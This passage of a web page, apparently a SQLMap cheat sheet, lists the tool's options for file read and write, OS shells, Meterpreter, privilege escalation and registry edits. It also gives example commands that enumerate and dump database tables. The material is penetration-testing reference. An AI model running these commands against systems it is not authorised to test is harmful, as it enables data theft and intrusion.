    &lt;td&gt;&lt;p&gt;Use WHERE condition while table dumping&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--start=LIMITSTART&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;First dump table entry to retrieve&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--stop=LIMITSTOP&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Last dump table entry to retrieve&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--first=FIRSTCHAR&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;First query output word character to retrieve&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--last=LASTCHAR&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Last query output word character to retrieve&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--sql-query=SQLQ..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;SQL statement to be executed&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--sql-shell&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Prompt for an interactive SQL shell&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--sql-file=SQLFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Execute SQL statements from given file(s)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-brute-force&quot;&gt;SQLMap Brute Force&lt;/h3&gt;

&lt;p&gt;SQLMap brute force command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--common-tables&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check existence of common tables&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--common-columns&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check existence of common columns&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--common-files&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check existence of common files&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-custom-user-defined-options&quot;&gt;SQLMap Custom User Defined Options&lt;/h3&gt;

&lt;p&gt;SQLMap custom command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--udf-inject&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Inject custom user-defined functions&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--shared-lib=SHLIB&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Local path of the shared library&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-file-system-options&quot;&gt;SQLMap File System Options&lt;/h3&gt;

&lt;p&gt;SQLMap file system command options, e.g., how to read a file from the command line using SQLMap:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--file-read=FILE..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Read a file from the back-end DBMS file system&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--file-write=FILE..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Write a local file on the back-end DBMS file system&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--file-dest=FILE..&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Back-end DBMS absolute filepath to write to&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-operating-system-access&quot;&gt;SQLMap Operating System Access&lt;/h3&gt;

&lt;p&gt;SQLMap OS command options, e.g., how to gain a shell via SQLMap:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os-cmd=OSCMD&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Execute an operating system command&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os-shell&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Prompt for an interactive operating system shell&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os-pwn&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Prompt for an OOB shell, Meterpreter or VNC&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os-smbrelay&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;One click prompt for an OOB shell, Meterpreter or VNC&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--os-bof&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Stored procedure buffer overflow exploitation&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--priv-esc&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Database process user privilege escalation&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--msf-path=MSFPATH&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Local path where Metasploit Framework is installed&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tmp-path=TMPPATH&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Remote absolute path of temporary files directory&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sqlmap-windows-registry-access&quot;&gt;SQLMap Windows Registry Access&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-read&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Read a Windows registry key value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-add&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Write a Windows registry key value data&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-del&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Delete a Windows registry key value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-key=REGKEY&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Windows registry key&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-value=REGVAL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Windows registry key value&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-data=REGDATA&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Windows registry key value data&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--reg-type=REGTYPE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Windows registry key value type&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;general-sqlmap-commands&quot;&gt;General SQLMap Commands&lt;/h3&gt;

&lt;p&gt;SQLMap general command options:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-s SESSIONFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Load session from a stored (.sqlite) file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-t TRAFFICFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Log all HTTP traffic into a textual file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--answers=ANSWERS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Set predefined answers (e.g. &quot;quit=N,follow=N&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--base64=BASE64PARAMS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Parameter(s) containing Base64 encoded data&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--base64-safe&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use URL and filename safe Base64 alphabet (RFC 4648)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--batch&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Never ask for user input, use the default behavior&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--binary-fields=BINARYFIELDS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Result fields having binary values (e.g. &quot;digest&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--check-internet&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check Internet connection before assessing the target&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--cleanup&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Clean up the DBMS from sqlmap specific UDF and tables&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--crawl=CRAWLDEPTH&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Crawl the website starting from the target URL&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--crawl-exclude=CRAWLEXCLUDE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Regexp to exclude pages from crawling (e.g. &quot;logout&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--csv-del=CSVDEL&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Delimiting character used in CSV output (default &quot;,&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--charset=CHARSET&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Blind SQL injection charset (e.g. &quot;0123456789abcdef&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dump-format=DUMPFORMAT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Format of dumped data (CSV (default), HTML or SQLITE)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--encoding=ENCODING&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Character encoding used for data retrieval (e.g. GBK)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--eta&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Display for each output the estimated time of arrival&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--flush-session&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Flush session files for current target&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--forms&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Parse and test forms on target URL&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--fresh-queries&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Ignore query results stored in session file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--gpage=GOOGLEPAGE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use Google dork results from specified page number&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--har=HARFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Log all HTTP traffic into a HAR file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--hex&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use hex conversion during data retrieval&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--output-dir=OUTPUTDIR&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Custom output directory path&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--parse-errors&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Parse and display DBMS error messages from responses&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--preprocess=PREPROCESS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use given script(s) for preprocessing (request)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--postprocess=POSTPROCESS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use given script(s) for postprocessing (response)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--repair&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Redump entries having unknown character marker (?)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--save=SAVECONFIG&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Save options to a configuration INI file&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--scope=SCOPE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Regexp for filtering targets&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--skip-heuristics&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip heuristic detection of SQLi/XSS vulnerabilities&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--skip-waf&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip heuristic detection of WAF/IPS protection&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--table-prefix=TABLEPREFIX&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Prefix used for temporary tables (default: &quot;sqlmap&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--test-filter=TESTFILTER&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Select tests by payloads and/or titles (e.g. ROW)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--test-skip=TESTSKIP&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Skip tests by payloads and/or titles (e.g. BENCHMARK)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--web-root=WEBROOT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Web server document root directory (e.g. &quot;/var/www&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h3 id=&quot;misc-sqlmap-commands&quot;&gt;Misc SQLMap Commands&lt;/h3&gt;

&lt;p&gt;SQLMap commands that don’t fit into any other category :)&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th&gt;COMMAND&lt;/th&gt;
    &lt;th&gt;DESCRIPTION&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;-z MNEMONICS&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Use short mnemonics (e.g. &quot;flu,bat,ban,tec=EU&quot;)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--alert=ALERT&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Run host OS command(s) when SQL injection is found&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--beep&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Beep on question and/or when SQLi/XSS/FI is found&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--dependencies&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Check for missing (optional) sqlmap dependencies&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--disable-coloring&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Disable console output coloring&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--list-tampers&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Display list of available tamper scripts&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--offline&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Work in offline mode (only use session data)&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--purge&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Safely remove all content from sqlmap data directory&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--results-file=RESULTSFILE&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Location of CSV results file in multiple targets mode&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--shell&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Prompt for an interactive sqlmap shell&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--tmp-dir=TMPDIR&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Local directory for storing temporary files&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--unstable&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Adjust options for unstable connections&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--update&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Update sqlmap&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;&lt;p&gt;&lt;code&gt;--wizard&lt;/code&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;td&gt;&lt;p&gt;Simple wizard interface for beginner users&lt;/p&gt;&lt;/td&gt;
  &lt;/tr&gt;
&lt;/table&gt;

&lt;h2 id=&quot;sqlmap-examples-how-to&quot;&gt;SQLMap Examples: How To…&lt;/h2&gt;

&lt;h3 id=&quot;enumerate-databases&quot;&gt;Enumerate Databases&lt;/h3&gt;

&lt;p&gt;How to enumerate the databases tables using SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://hacksofdhruv.me&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--dbs&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;enumerate-tables&quot;&gt;Enumerate Tables&lt;/h3&gt;

&lt;p&gt;How to enumerate the database tables using SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://hacksofdhruv.me&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$database&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-name&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-dump-db-table&quot;&gt;SQLMap Dump DB Table&lt;/h3&gt;

&lt;p&gt;How to dump the contents of the table using SQLMap:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://hacksofdhruv.me&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$database&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-name&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$table&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;-name&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;sqlmap-from-burp-file&quot;&gt;SQLMap from Burp file&lt;/h3&gt;

&lt;p&gt;Save a Burp or Zap request file and mark the injection point(s) parameters with an asterisk (*), the good thing about this option is that it takes care of any authentication cookies for you. You can inject into any parameter in the request, e.g., headers, inside cookies, and using multiple methods (GET, PUT, POST, DELETE) etc.&lt;/p&gt;

